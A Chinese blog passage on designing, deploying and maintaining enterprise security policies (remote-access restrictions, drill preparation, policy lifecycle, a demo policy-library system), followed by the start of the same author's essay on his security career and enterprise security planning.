针对业务人员禁止使用任何的远程访问工具

针对一些非业务,非管理员的用户我们禁止使用远程访问工具

针对网络,服务器等基础设施管理员我们允许在短时间内容提单申请下有限使用

针对远程访问工具,我们收集了anydesk,teamviewer,向日葵,RDP等

不同的受众有着不同的需求,就拿限制远程访问的受众来说,高层,业务人员,销售,办公基本上是不需要或者不允许可以远程访问,管理员在远程处理应急事件是可能会使用到远程访问工具,但大多数是VPN,供应链基本上都是远程访问工具;

上面就是一个具体的战术策略制定,但是实际上执行情况可能会和战术策略不太一致,但是不能违背禁止使用远程访问工具的战略策略;

1.3作战(运营)策略

策略分层只是为了让战略级别的策略能够更好的落地,大多数的策略其实只分两层:战略和战术策略,大概就是专注制定什么策略,策略怎么执行?但实际上策略制定完战术策略后,需要考虑策略的真实落地情况,需要对一些用户反馈意见较大的策略结合安全要求和业务适当调整,这里的调整不是让步,而是理解;

针对使用远程访问工具,我们进行了调整:

收集了更多的国内外的远程访问工具

允许了部分供应链授权情况下进行远程排查

增加了新的可控的远程访问手段

以上就是一个针对远程访问控制的大致策略设计;

1.4虎攻防演练案例

既然是演练,这里提一下我们在演练期间做的策略情况,可能有的总结点没写,但大致差不多,和大家演练的思路基本上是一致的。

1.4.1演练战略策略

减少所有的外部风险

关注内部潜在风险

1.4.2演练战术策略

回收测试区域的应用;

回收不符合安全要求的应用;

关闭不必要的端口;

排查外部弱口令情况;

组织演练沟通小组;

关注内部流量;

关注内部邮件

关注终端,服务器安全告警

1.4.3演练作战(运营)策略

(1)盘点所有外部开放资源,确定所有可以进入内网的途径,包括应用服务,端口,登录页面,确定资源的开放情况,关闭情况

(2)确定安全防护能力:确定所有安全设备的运行情况,安全设备规则库,病毒库,情报库,甚至系统库;

(3)监控外部威胁情报:0day,1day,Nday为主的攻击情报

(4)联合行业进行防护:同步相关攻击情报,对攻击IP进行封禁

(5)记录所有的攻击防护措施,避免过度防护导致业务运行异常

简而言之就是:

(1)暴露面最小化

最小的暴露面,确定的攻击路径

(2)安全能力持续更新

保持最新的防护策略和规则,通常包括检测规则和阻断规则,这里有IPS,IDS,FW,天眼

(3)及时响应和相应的响应组织

及时响应演练期间发现的漏洞和情报,同时有相关的管理员配合,实现快速响应,同时提前制定好相应的响应流程

(4)备注和登记

一般而言,很难在演练结束的一瞬间完成整个安全能力的升级,当一些无法进行实时整改的,需要进行登记备注,然后关联立项,同时部分策略实施后可能对业务会造成一定的影响,记录便于恢复

这里还得提下规则库,也属于战术策略的一部分,但由于可以进行优化的属性,也可以看成作战运营策略

0×02 策略设计

2.1需求产生策略

策略产生有很多,但最常见的就是两种,甚至可以说就是一种,那就是需求驱动策略,安全需求驱动安全策略的产生;还有一种时约定俗成的基线,你需要这么做;

我们的安全策略的目的是解决一些安全风险和安全问题,那么安全风险和安全问题经常会产生一些相应的安全需求,我们需要怎样的安全解决办法?比如我们担心账号会被爆破,我们就用限制失败次数和验证码的策略去限制爆破。我们担心用户会获取过多的权限,我们默认是最基础的权限策略,再要使用我们就通过申请审批来授权。我们担心扫描器的结果不好,所以我们要求用2-3种扫描器进行漏洞评估,同时我们要求扫描时使用最新的策略。等等,我们需要什么样的安全风险解决办法,我们就在此基础产生一定的安全需求,安全需求导向安全策略,安全策略总是有效的?不见得,后续我们在来聊一聊。

需求又从哪里获取?

需求一般有三个来源:

1.上司:一般是技术负责人对于安全有一定要求产生的安全需求,这一类是实现波动性较大的,有的需求可以实现,有的不一定,但大部分你都会尽力去满足,同时对上级的策略需要从多访问理解,比如业务,安全,基础设施等,一般都是战略级别的策略。

2.用户需求:此类需求又具体分内部用户和外部用户,比如你的内部用户要求你临时开放teamviewer权限,但你的安全策略限制了他的访问,此时你会临时在上网管理上开放,又或者你的内部用户觉得在上班时间宽带限速了,但下班时间以后也限速不合理,此时你就通过流控开放了18点之后的流量限制。外部用户的需求一般和产品相关,比如登陆需要验证码,客户觉得每次登陆都要验证码,体验很不好,然后就进行了反馈,然后应用觉得可以关闭,但又担心被爆破,此时你引入登陆设备,地址,时间段等风控手段,然后密码错误的前三次关闭了验证码,这一整套策略的调整都是来源于每次登陆都要验证码的反馈,用户此时满意的提交下一个反馈。

3.事件驱动:其实有一些安全策略的产生是被迫的,也是应该要具备的,比如外网开放3389,有一天服务器因为外网开放3389被cve-2019-0708等类似漏洞拿下了,甚至弱口令爆破,我们的策略就变成了:禁止开放3389端口,事件驱动安全需求,安全策略是很痛苦的,或许我们需要一个默认安全策略。

此时,在这里不得不提一个产品解决安全问题思路,那就是默认策略。

我们常听说Elasticsearch,mongodb数据泄露,通常是因为默认密码没有修改,倘若我们创建应用后强制修改成不同于默认密码的强口令,此类事件会少很多,同样一些防病毒默认是开始更新和同步,一些ips,waf,ti,ids产品配置好代理默认更新策略,默认关闭共享,默认关闭高危端口,等等,默认策略能够避免人力所不能及的那部分策略的失效或者未生效。

其实标准和合规可以极大的驱动出策略的产生,关于标准和合规此处不做赘述。

2.2策略设计原则

一个好的策略应该是在所有的受众下都可以接受并且是符合安全需求,业务需求的安全策略,能够促进生产和安全能力提升;

最小化原则

一个好的策略应该是至少符合最小化,有效,可优化的,为什么这么说?

好的策略不应该过于庞大,应该是精简而且恰到好处的,比如你担心Web收到攻击,所以你把WAF防护级别调到了最高,结果业务无法运行,实际上中级的防护级别加上定制化的策略修改就能够满足Web防护的功能,辅以web渗透和漏洞评估,网站监测就可以完成Web的基本防护

有效原则

策略最重要的其实是有效,任何的策略设计完之后如果无法起到预计的效果,都不是一个好的策略,比如在白名单防护策略中,由于白名单不详细,导致白名单之外的正常业务无法运行,此时应该取消白名单,先用黑名单过滤,然后再完善白名单后进行策略实施;

自适应原则

好的策略应该是可持续,并符合自适应安全自身和业务安全要求不断完善的,就拿限制远程访问工具的使用,很有可能出现新的远程访问工具,此时就应该将它添加的禁用名单,不然策略的本身就在失效中;

2.3如何设计一个好的策略

策略的好坏最终是看策略的实现,其目的和作用,如果你设计了一个策略,结果对业务造成了影响,那么这个策略从某种程度而言,虽然防护住了业务系统,但是影响了业务的运行水平,甚至影响业务连续性,这就得不偿失,一个较好的策略可以从以下几个方面考虑:

1.思考设计的策略是否可行?

好的策略是可以用于实现其策略的目的,并且落于实地;也就是说,首先策略能够定位到人或者资产,能够通过策略控制来实现策略的执行;其次策略是可以执行并不会影响业务和系统,策略的可行性从其他角度就是切合策略的受众的可用性;既能够实现策略最初的目的,又能够保护业务运行不受较大影响,安全策略最终的服务对象大多是业务和内部需求下的用户,此时要考虑业务运行和用户体验;同时要确定策略的受众,策略所执行的层面到底时在哪些用户或者设备资产,如果一个策略执行后无法在资产中进行定位,那么这个策略基本时无法运行的,管理策略也是如此;

2.策略是否可维护?是否可闭环?

策略实施之后可调整,可运营,可闭环,具备持续性,可维护性,如果策略在基础设施,技术发展的冲击下不复存在,此时策略应该取消,替换成针对新技术,新架构下的新战略策略下战术策略,作战策略

可闭环,相比可维护,闭环更难以实现,毕竟一个好的策略应该满足不但优化,并且能够符合业务驱动下的安全需求和受众,做到千人千面,反馈显得极为重要,好的反馈流程反馈渠道可以让策略落地的更加有效,这里建议将反馈渠道放在责任人和安全人员之间,最好有相应的讨论渠道,不断的快速获取反馈和优化;

3.受众是否乐意遵守策略并参与优化?

好的策略应尽可能的满足受众的心理期望并实现安全控制;

如果一个策略本身被大多数人抵触,并且短期无法看到策略执行后的效果,此时应该思考策略是否需要调整,或者策略是否应该设计并执行,真正充满人文关怀的策略是随风潜入夜,润物细无声的,所以策略设计尤为重要,并且在流程上需要足够的支持和适配;当然如果遇到适当的抵触,但是总体效果不错的策略可以适当的调整,以满足几乎所有受众的体验要求;

这里提一下漏洞修复策略:我对于安全是主战派,就是强调安全是需要测试并且充满主动的,所以我初期执行的漏洞修复策略是每月定期更新,并且强制推送,但是现在办公网络很多用户都不会进行日常的办公电脑维护,补丁安装过程充满了各种的问题和反馈,后续我将策略调整为高危漏洞或在野利用的漏洞强制推送,非高危且无在野利用的漏洞直接延期一月推送,并且对推送的时间做了调整,业务终端,也是反馈最多的终端在一个月基础再延期一周进行推送,前期基础设施,营销体系先推送,整个策略调整后反对的声音减少了一些,但漏洞管理依然会有一些抵触;

2.4策略生命周期

整个策略从产生到终止分成4个阶段:策略产生,策略使用,策略运营,策略终止

策略产生:策略经过战略策略设计,战术策略设计后产生的具体策略清单

策略使用:策略落地,开始对相应的受众进行约束的过程

策略运营:策略开始作战(运营)的阶段,主要目的在于调整和优化策略,查缺补漏

策略终止:策略随着技术架构变化调整后不再适用,经过评审后进行终止

基于策略简单的设计了一个策略钻石模型(参考事件钻石模型):

该原子为“策略”,策略是最小单位,一个完整的策略应该有至少四个要素:目的,受众,技术和管理;策略的基本元素比较简单,主要有时间戳和执行结果,时间戳包括启用时间,调整时间,终止时间。

目的

目的就是策略产生的基本目的,也就是策略的产生是用于解决什么问题的?为什么要制定这个策略,目的是决定策略的归属和方向,只有明确目的的策略才能具备效力,目的最好体现的层是战略层策略;所以换句话而言,战略层的策略应该是专注解决特定类型的问题,一般是业务和安全自身需求;

受众

受众即策略最终落地去实施和使用的人群,也就是最终评价策略好坏的一环,受众的反馈有助于策略生命周期的延续,良好的策略反馈可以促进策略的优化和调整,不断的促进安全和业务需求下的策略的落地和改善

技术

主要是设计策略过程中使用的各类技术,涉及开发,网络,存储,数据库,桌面运维,邮服,中间件,安全技术等,相当于等保2.0中的技术部分;

管理

管理即通过流程,制度进行限定受众执行,达到弥补技术措施无法实现的手段,比如人员管理,外包管理,策略修订管理,业务上线下线管理,网络安全管理,权限管理,供应链管理等等;管理策略多来源ISO27000,监管单位要求,等保2.0等

0×03 策略的使用

策略的使用其实没有什么诀窍,大多说都是采取触发式的办法去使用策略,比如上线要安全评估,漏洞,基线,渗透,防护,甚至代码审计,只有有载体出现,策略才能生效,而难度主要在于策略的赋能,所以有几个建议:

建立策略库->插入流程->收集意见->定期更新和维护

1.建立策略库:把策略当重要资产一样进行收集和统计,然后保持更新

2.插入流程/引用策略:包括安全流程,处置安全问题,安全事件的流程,包括应用开发流程,业务上线流程,员工入职离职流程,资源申请归还,等等,在你的ITSM里面尽情,合理的展现

3.收集意见、反馈:开放策略收集和反馈渠道,很大一部分的策略没有变化或者没有优化大多是因为听不到外界声音,策略的创建和维护者在自娱自乐

4.定期更新和评估:没有永远不变的策略,只有相对完善的策略,不断的评估策略有效性,完整性,可用性,严谨性。

总结下就是2种方式使用策略:

(1)变更,流程触发策略使用:当有变更或者有措施将要执行的时候,插入策略评估,进行策略的评估,判断受众的行为是否满足已生效要求的策略,同时关注潜在目的,需求,风险下的策略,尤其是那些还没有实施的策略,这部分内容是策略运营的主要目的和核心;

(2)基线库定制规范策略:对于策略进行封装,让“出场”的设置资产,业务流程就符合基本安全,满足安全基线,从而达到策略规范,这里要注意的就是定期对策略进行检测和更新,基线是需要定制并不断的优化的;其深度,其广度应该覆盖所有的资产范围,业务流程范围;

0×04 策略运营

策略运营,现在大多数的安全都喜欢带上运营二字,策略也是,运营就是对策略整个产生,使用,结束的生命周期下进行优化的过程,同时参考三同步,并让策略持续拥有动能!

策略运营我把它分成策略检测,策略更新,策略备份与维护,策略评估四大块,简单的理解就是策略的后续生命活动特征。

4.1策略检测

策略下发或者受众执行后不一定百分百的生效,甚至有的策略可能会进行规避,临时的也好,长期的也罢,我们都需要一系列措施进行策略的检验和修复,常见的策略检测手段有定期策略检查,策略更新,策略备份与维护,策略评估,基线检查,代码审计等;

4.1.1策略检查

策略巡检即对业务流程,基础设施资产等资源下发的策略进行人工巡检,常见的策略巡检方式有风险评估和等保检查,安全设备评估,基线评估,代码审计等;通过风险评估,等保检查对资源进行排查,确认是否符合安全策略红线要求;

(1)风险评估:对信息资产(即某事件或事物所具有的信息集)所面临的威胁、存在的弱点、造成的影响,以及三者综合作用所带来风险的可能性的评估。作为风险管理的基础,风险评估是组织确定信息安全需求的一个重要途径,属于组织信息安全管理体系策划的过程。关于策略风险评估主要关注着策略对于风险控制的有效性,对资产面临的威胁,存在的弱点进行规避的措施是否有效,如果策略无效应该采取什么措施去规避是重中之重;

(2)等保检查:又叫等级保护,即对信息和信息载体按照重要性等级分级别进行保护的一种工作;那么就很容易理解策略对于资源的风险控制和保护要求,不同级别的系统所采取的的策略应该是不一样的;

(3)安全设备评估:这里指的是安全防护能力的评估,当你部署了各种安全设备的时候,并对设备进行了启用和防护,应该考虑安全防护,检测,阻拦,响应相关设备的能力是否存在缺失并进行及时的发现和更新,这里就需要对于各种设备有一定的理解和掌握,并能够自定义的优化相关设备,从而实现策略巡检,优化调整

(4)基线评估:基线评估其实就是对各种资源的基线情况进行检查和确认,这里主要准备的资源就是资产清单和资产对应的基线脚本和结果报表等

(5)代码审计:检查源代码源代码/3969)中的安全缺陷,检查程序源代码是否存在安全隐患,或者有编码不规范的地方,通过自动化工具或者人工审查的方式,对程序源代码逐条进行检查和分析,发现这些源代码缺陷引发的安全漏洞,并提供代码修订措施和建议。

(6)其他:其他可以对于策略进行检测的任何方式,包括但不仅限于风险评估,等保检查,安全设备评估,基线评估,代码审计,比如访谈确认业务流程和相关策略执行情况,手段并不是唯一的,专注检测出策略状态的目的。

4.2策略更新

策略更新部分是仅次于策略产生的重要部分,该环节的策略运营决定了策略的生存周期和使用效果。

策略更新包括策略变更和策略调整

策略变更:策略变更涉及策略的调整的流程,就是如何对策略调整进行规范化,不能肆意的调整策略从而导致策略影响业务

策略调整:指的是具体的策略调整的动作,可以是缩小范围,扩大范围,增加力度,减轻力度等涉及策略具体操作的行为。

4.3策略备份与维护

一般策略的修复就是为了解决策略下发不彻底,下发后执行不彻底,策略执行存在Bug等情况;

常见的策略备份是通过设备已有的备份功能直接进行备份,然后将备份包进行定期的维护,存储充足的情况基本上不考虑清理历史策略;

维护:当策略因为实施过程中产生较大影响和事件时,需要对策略进行停用维护,或者策略不生效,出现了异常(不满足策略当初设定的状态),需要对策略进行分析和纠正的过程。也可以是将某一节点某一时刻的策略恢复到上一个正常的节点;

4.4策略评估

策略维护主要考虑策略的备份和高可用性,不会由于设备绑定策略等原因,从而由于设备宕机甚至设备淘汰之后部分优化策略无法使用,策略维护主要考虑策略的备份和还原,策略评估主要考虑策略的优劣,通常通过以下几个问题来评估策略:

1.策略用来干什么?策略达成了目标么?

2.策略是否过于严格或者过于疏松?

3.策略是否可以跳过?

4.策略实施数据是否有存储和记录?

总而言之,一个好的策略就是有一个/多个明确的目标,追求简约,同时又不可绕过,最后能够定期的回顾和复盘。

0×05策略库系统

经过上面对策略的探讨,现在对策略进行一个基本的设计,此处只是一个Demo,仅供参考:

现在对上面的的模块进行更进一步的分析:

对于一些不怎么出现的模块,功能做一些自己的说明,通用的就不做说明了,比如账号认证模块

策略库管理:对于策略的记录,调整进行管理,主要是增加,删除,修改策略,策略库涉及基线策略,代码安全策略,其他业务,应用,流程,管理策略要求;

策略检测:主要是对于策略检测的操作进行管理和记录,和策略库分开管理;主要检测方式有基线检测,代码扫描,业务逻辑检测等

策略下发:这里主要考虑策略库系统可以实现的任务发布和无法实现下发的任务,可以调用的任务直接通过策略库系统进行下发,无法下发的通过调用接口或者手动策略调整的方式实现,所以策略下发由自动下发,手动下发,手动排查策略3中方式;

资产管理:策略库的资产主要由策略检查中的资产,CMDB API导入的资产,其他手动导入资产进行管理,资产的纬度就是策略和策略检查结果,检查结果为不符合/总检查项这样展示;可以通过nmap,masscan来进行资产发现;

工单系统:用于管理从ITIL中提交的策略检测的服务单和变更单,涉及策略的检测,调整为主,同时对工单的创建,执行,结束进行同步和监控

任务系统:定时检测任务和手动检测任务,主要是对于工单系统记录的内容进行操作记录,运行的检测脚本,执行情况进行跟进,对任务进行取消等

通知系统:对于一些策略评估项进行及时通知,对于一些结果进行手动通知

日志:策略库管理日志,策略检测日志,任务管理日志,工单系统日志,通知日志,资产更新日志等;

以上仅为demo,仅供参考;

总结

聊了那么多,你咋不放一些策略出来?

仔细想想,是没有安全策略还是安全策略没法实施。配置基线,病毒库,补丁更新,规则库,安全编码和SDL,上线,下线,大部分的企业都有涉及,但效果都一般,要么太厚重没办法落地,要么太浅显没有效果,很大一部分的安全策略需求都是来自于基础的安全需求和业务成长需要关注的安全能力,这一块会成为基础安全建设成熟度的一部分,并不是没有策略,而是没有用好策略。

最后说说演练,其实刚开始演练的时候我是不打算封IP的,因为这并没有什么价值和安全能力提升,就和当初政企等保一样,走个过场,然后应用和基础设施依旧千疮百孔,所以我对于恶意IP都是永久封禁和持续关注,后续再次高频率出现就开展溯源分析。以致于后面演练的频率从每小时一次分析告警到每天2次分析,演练期间是5*8值守,效果还行;

但从某种结果而言,HW给长期以等保为基线的企业带来了新的安全思维,新的安全理念,不再是单纯的报告和评分,而是攻防对抗下的博弈,也促进了很多甲乙方和安全从业人员对红蓝对抗的关注,所以我们都笑着说这是演习,对于企业来说,开放的端口和应用更清晰了,权限和内网架构,流量也更加的可见,风险管理也变得更加有效,这也是一件好事,就这次演练而言,做了很多,也深有感受,细细思量,最终得出一个结论:演练常态化是安全能力的持续正常迭代,这不能牺牲大量的用户体验来实现,有的直接关闭了外部邮箱访问,有的边缘业务全部关闭,意义不大,除非业务直接整体下线,那么新的业务如何开展?当然,像不做防护的邮箱,同时不遵循安全合规下的整改的边缘业务关闭和回收也不是不可以;

总的来说,只有具有防护,检测,阻拦,响应基本安全能力的企业才具有演练常态化的趋势,但不能忽略策略和流程的力量。安全其实应该是一种能力和属性,就像武器附魔一样,给业务增加杀伤力,但如果因为过度附魔而导致业务奔溃,业务使用的限制大幅度提高,原来平民武器到后来需要神一样的体质才能使用,那就得不偿失了,合适的才是最好的;

接下来个人会重点关注安全建设框架和模型,“一次性”的安全建设不能保证业务的持续安全,为了让安全更好的赋能,安全策略,安全建设应该更多的关注目的,业务需求驱动安全目的,战略目的驱动策略和建设;

策略就是为了控制风险,这里对于其他部分的内容,如风险控制,业务安全,风险库等内容不做过多的描述,会在后续的文章中聊聊自己的看法,也欢迎大家一起交流和分享;

*本文原创作者:LinuxSelf,本文属于FreeBuf原创奖励计划,未经许可禁止转载

进入安全行业3年,越走越发现前路漫漫,最开始的时候,想做一个网络工程师,考证,面试,准备实习,后来有幸去了启明星辰做安服,后来想做一个黑客,想做高级攻防研究,奈何没有相应的条件和能力,而且越到后面事情越来越多,时间总是不够用的,大概就是原来想去浪迹天涯,后来日志告警太多,去不了了。偶然同行大佬问了一个问题:

“是什么原因让你选择了这个行业,又是什么原因令你选择转行?”

“机缘巧合进入,可能再也走不出去了”

Lemon说:

“除了这个其他的学不会,还要用脑子,最后发现这个学的更多,想转行的是时候除了这个其他啥都不会!”

(这个指的是安全行业)

进入了安全行业,选择了企业安全,从此就在这个区域不断的扎根生长,也想梳理一下这些年对于安全的思想和变化,文笔一般,欢迎指正和交流。

一、开始接触安全行业

在欠钱总的《我理解的安全运营》提到把安全从业人员分成剑宗和气宗。

剑宗是掌握一些招式,不需要长年累月的积累“内力”,有时候就能出奇制胜,搞Web安全的“脚本小子”被划为这一类;

气宗因为需要从汇编、编译原理等晦涩的知识开始(也可能不仅限于系统层面),学习曲线比较陡峭,大器晚成,碰到什么不明白的地方就反编译了看看汇编源码,总能知其所以然,搞二进制的被划入这一类。

而作者我恰好就是气宗门人,我的安全入门是从运维和网络开始的,最早的时候接触的是安全运维,有幸加入了启明星辰税务行业,开启了安服的全局视角,也因此进入了安全行业。

原来打算的并不是走安全路线,又是如何机缘巧合的进入了安全领域,并一发不可收拾呢?

因为我是网络工程专业,专业成绩还行吧,可以靠自己的网络专业知识去进行面试和工作,但网络工程有个特点,不知道是不是我们学校课程安排的原因,网络工程涵盖了软件工程部分,计算机科学部分,以及基础数学,操作系统,包括已有的网络层面的知识,让网络工程成为了啥都接触,但缺是没有重点的学科,或者说,都是重点,原来想通过网络开启职业生涯的我冥冥之中就像有一只手一样,让我想起了曾经的理想:做一名“黑客”,后来我看到了安全运维的岗位,看了下要求,基础能力基本符合,就试着投递了一些简历,后来经过面试就开始了安全运维的填坑之旅。

所以我总结了一下自己的安全生涯开启的状态应该是:

1.一个全国性的大型项目和号称三巨头的安全企业

2.一个全范围涉及的专业和较为扎实的基础

渐渐的,我开始思考自己开启安全职业生涯的过程的缺陷和需要后天不断完善的部分,可以说,我的生涯是很多人都可以参与和去实现的,但却肯定不是最好的,而且我一直都觉得自己的气宗应该是属于散修,而真正的气宗应该是各大实验室的成员,不说一招鲜吃遍天,但的确他们会把一部分基础练至臻化,而已经开启三年职业生涯后,当然不可能回头了,所以有些点还是需要提一下,以便后来或者正在经历这个阶段的安全从业者能够发现一些东西:

1.什么都学,最后却什么都不精

对于这个点,安服的我是比较印象深刻的,因为安服会涉及很多层面,从基础的资产梳理,建模,风险评估,应用系统基础,网络基础,操作系统基础,运维基础,域控基础,监控基础等等,再到深入一点的渗透,代码审计,失陷检测,应急响应,溯源分析,巡检,日志,最后到规划,运营;涉及战略,战术,运营等等,应有尽有,而造成这个情况的原因就是,安服的主体是甲方企业,而正规的甲方企业是对安全要么网络兼职开展一些基础的安全防护和建设,要么就是一整套下来如河防一般层层隔离,区域防护,而防护的手段就会不断的扩散开,从而导致安服涉及的面会异常的多,当然这是我个人的安服基因,而我同事之中也有一些是从事专一内容,比如渗透,代码审计,而这里我的建议是:

建议:从自己职业兴趣和职业能力出发,如果个人对全方位的安全感兴趣,就可以涉及全方位的安服内容,如果只是对攻防层面的安服感兴趣,那就只从事一个点或2个点进行深入,然后攻防一体,攻指的是渗透和攻击能力,防就是企业防护思维和落地。

2.合理分配项目时间

其实抛开大型项目和应急项目来说,如果一个人手上只有一个单一的项目,内容固定,没有太多的经验和技术要求,完全可以使用自动化手段进行安服项目实施的升级,这一方面的自动化实现时间建议在下班时间进行,如果是项目时间充裕的话,建议合理分配时间;

建议:将安全服务项目的实施交付时间分成以下几块:

安全建设:用于产出安服项目的正式产物,不仅限于文档,最好是系统化建设

安全运营:这一部分安服项目一般会稍微带过;“进行现场安全缺陷的发现,并提供相关建议”

安全规划:这一块前两年,甚至3年内尽量别碰,第一:对行业不熟悉,第二:对甲方企业业务不熟悉;第三:安全规划能力一般

项目管理:对于项目把控的时间主要是放在项目交付和验收部分

逻辑能力:此处更多的是软实力,对于一些问题思考,成长规划,关键对话等等的掌握

以上5个部分的时间如何调整比例,完全根据项目的重要程度,甲方企业的痛点和关注点以及个人天赋和兴趣来,虽然只有客户满意的安服才是有效的安服,但最好是职业和生涯一起成长。

3.学习

每个月,似乎安全圈就会出一些新的新闻,每个月,技术都会发生变化和更替,和随之而来的就是安全所面临的风险和技术能力的不足,学习是唯一让你不断提升自我能力的方向;

建议:学习是需要具体的方向和目标的,比如你对Web安全很专注,那你就可以不断的深入,由Web接触业务和SDL落地等等;如果你是对逆向很感兴趣,那就可以深入病毒分析,溯源,外部威胁情报等等;如果你对日志,流量很感兴趣,那就可以深入基础的数据分析和IDS;然后建议是一年一个大计划,每月调整计划内容,总之,要让你感到学习使你快乐。

4.锻炼身体

这里为什么要提这个,其实也是跟最近看到的朋友圈动态有关,24岁,月入5W,胃癌;首先要明白,我们安全从业有很多理由,但肯定没有说要通过牺牲身体健康来换取,这里没有过多的建议,医生的建议会更加具有份量,总之,注意身体。

简言之,安全的开始应该是有目标有方向的,不论是大而全,还是小而精,都应该是有具体方向和路径,如果还没有,不妨看看最近的招聘需求;

安全不应该只是在一串串的代码和文字,而是应该在落地后的效果。

二、企业安全

1.什么是企业安全?

企业安全这一块我只提一下自己的不成熟的想法,关于更加富有经验的可以参见《互联网企业安全高级指南》。

众所周知,就参与安全实现的企业主要会有两类:一个是以安全为赋能,不断提升企业竞争力的甲方企业;一个是在于不断解决甲方需求和痛点,提出可落地方案的乙方企业;虽然如今的乙方企业大多是推销铁盒子的,但还是要提一下乙方的安全职能。而甲方又常分成传统,互联网企业;随之而来的就是传统乙方和互联网乙方,传统乙方就是以天融信,绿盟,启明星辰为主的三巨头,而互联网乙方国内以奇安信,360政企安全为例,此处不提国外安全产商。

那么到底什么是企业安全?

首先,在每个人眼里的企业安全会不一样,传统公司和互联网企业,攻防人员和安全咨询;其次,企业安全的涉及面会不断的更新;

那么,究竟什么是企业安全?

我觉得赵彦前辈已经总结的很明白了:

企业安全就是从广义的信息安全或狭义的网络安全出发,根据企业自身所处的产业地位、IT总投入能力、商业模式和业务需求为目标,而建立的安全解决方案以及保证方案实践对的有效性而进行的一系列的系统化、工程化的日常活动的集合。

里面重点突出需求,能力,目标以及工程。

在此基础上,我觉得企业安全可能也是围绕自身资产,根据需求,投入能力,以及业务战略,安全战略为导向的持续化的工程建设,优化。

为何这么说呢?

经历过甲方或者贴近甲方的安全从业者会发现,有些安全措施是不会实施的,最简单的就是有些基线不会加固,有些漏洞不会修补;其次就是安全的投入仿佛是一个无底洞,而且成效没办法直接从业务的成长来进行表现出来;最后是安全的职能属性在每个企业的位置都不会一样,有的可能是一级职能,位于应用开发,研发之上,有的可能就是日常的救火小组,不尽相同。出现这些现象的一部分原因就是企业的业务模型和投入不同,每个企业的战略也不会一致,所以出现不同的情况也能理解。

2.安全服务

之前提到企业安全是围绕自身资产,根据需求,投入能力,以及业务战略,安全战略为导向的持续化的工程建设,优化。

这里其实主要表现的是一种过程化的思想,就是说安全的实现应该是不断更替的过程,像软件一样迭代更新,实现攻防对抗,又或是自适应安全。

在企业需求和安全发展的推动下,渐渐的,铁盒子下的冰冷的程序开始渐渐的无法满足企业安全建设运营的的需求和实现,安全服务的重要性不断的提现,安服的出现,其实就是使用人去覆盖硬件式安全设备无法实现的功能和需求点,其实安服同样也面临着调整和进化的过程,这个稍后再提。

那么,安服究竟是什么?

安全服务(security service)在不同的领域有不同的意义。在信息安全领域,安全服务指的是加强网络信息系统安全性,攻防对抗而采取的一系列措施。在其他行业中,安全服务主要指的是为了保障安全而采取的措施。

所以安服并不仅限于如今各大企业提出的安全服务List,只要你需要的,而单纯的硬件型安全设备无法实现的能力通过定制化的应用系统,设备结合人员能力完成的安全实现。简单点就是当前的安服是一定有人去实现的,而不是单一的仅靠设备去完成。

那么安服的局限或者缺陷在哪呢?就目前接触安服而言,安服的局限主要在于以下以下方面:

1.安服质量:并不是所有乙方的安服能力都很强,或者说平均安服能力主要还是在攻防能力和安全建设运营能力较强的那一批人,至于这两个点都不具备的一般不会直接参与安服的交付的。

2.安服的成熟度:虽然有安全服务成熟度模型,但就进入过两个大型安全产商的感觉而言,安服成熟度还在不断的变化,但都没有到我想要的情况,最简单的就是自动化能力,项目工程化实现能力,安服成长体系等等。

3.自动化和新兴技术:人工智能,机器学习是20世纪70年代就开始了,但到目前还未到达强人工智能的水平,自动化能力也是不断的发展,安服最后的场景会是了解到客户的需求,然后提供相应的安全服务程序,安装,自动化巡检,提供优化建议和详细实施步骤,实现无人安服,而更加具有能力的人员会参与到此类人工智能,机器学习的实现和专家规则库的优化,这是安服最终的愿景

但不论如何,这个时代或许都不会太早的到来,10年内可能依旧是人力的需求战胜技术成长。

三、实践

就像是看莎士比亚的哈姆雷特一样,1000个人或有1000个想法,企业安全实践每个人的思路也不尽会相同,所以我只提出自己的想法和思路,不对他人作评价,毕竟,不管黑猫白猫,只要能抓住老鼠的猫都是好猫。

1.安全规划

曾有幸在群聊听到战略一词,想起前段时间看的和威胁情报有关的内容,突然觉得在某些点,情报的生命周期和安全的生命周期貌似有些许的共同之处。情报一般分规划,收集,处理,分析,产出,反馈几个阶段;

对应企业安全,相当于安全规划,安全梳理(差异性分析),安全建设,安全运营,而情报中主要会有战略情报,战术情报,运营情报,很明显,恰好对应着企业安全的安全规划,安全建设,安全运营。

那么,一个怎么样的安全规划才是好的安全规划呢?

首先提一下,为什么要做安全规划?

安全规划主要为以后的工作进行合理的估计和安排,从安全结构上提升组织的安全水平,大概是从杂牌军到正规军的转变,也有可能现有的方法满足不了实际业务的需求,需要重新规划、设计。而安全结构会主要涉及应用框架,数据,网络结构,人员架构等等。

一个好的安全规划应该是短期内(3-5年)不会发生根本性的变化,同时适应整体安全变化,同时可以不断的延伸。同时规划要满足现状,短期需求,长期需求,落地性等等,总结一下:

一个好的安全规划就是考虑自上而下,自下而上,拥有安全战略目的,以及自我评估准备下所做的系统性的建设,发展规划。

所以安全规划会涉及对现状的分析,未来安全和技术走向的研究,自身能力水准的把握。

具体的安全规划文档编写可以参考信息安全规划文档的编写

安全规划的核心思想就是需要确认一个未来安全的框架,应该如何去实现这个框架并不断的提升这个框架的能力和对业务和企业增长赋值,就目前主流的一些思路,较为推崇的是近些年的自适应安全。

什么是自适应安全?

通俗来说,自适应安全就是实现预防,检测,预测,响应能力的安全系统;企业或组织要持续、动态地监控自身安全,并加强快速分析和响应能力。自适应安全有3个点可以考虑:

动态持续地掌握企业网络内部资产情况。

做好事中防护,事中对应用各个方面的威胁防护,如:用于防护和发现Webshell、非法上传、SQL注入、弱口令等攻击。考虑到攻防的动态变化,任何安全防护产品都不可能达到百分百的防护效果,那么事后补偿机制作为补充措施就非常有必要,即系统已经被入侵时,能及时、有效地发现攻击者并阻断其行为,将风险降至最低。

安全还需要考虑“合理代价”的定义。降低安全风险需要各个部门的配合,除了购买安全产品产生的直接成本,还需要考虑该产品的是否贴切正常业务流程、是否给维护人员带来较大的管理开销、是否能减少企业中人力的持续投入。此外,安全产品自身的安全性也极为重要,还需要考虑部署环境的安全性。

这里提一下另外一个框架:NIST的网络框架

更多关于NIST:http://www.hackliu.com/?p=124

NIST主张将网络安全分成识别,保护,检测,响应,恢复5个部分,新框架由框架核心、框架实施层和框架概况三大基本要素组成。框架核心提供了一套关键基础设施行业通用的网络安全活动、预期结果和适用参考。

规划之后就应该开始建设和运营!

2.安全建设

前面提到安全规划,其实真正有效的安全规划应该是基本可落地,落地有效的;那么如何开展安全建设呢?

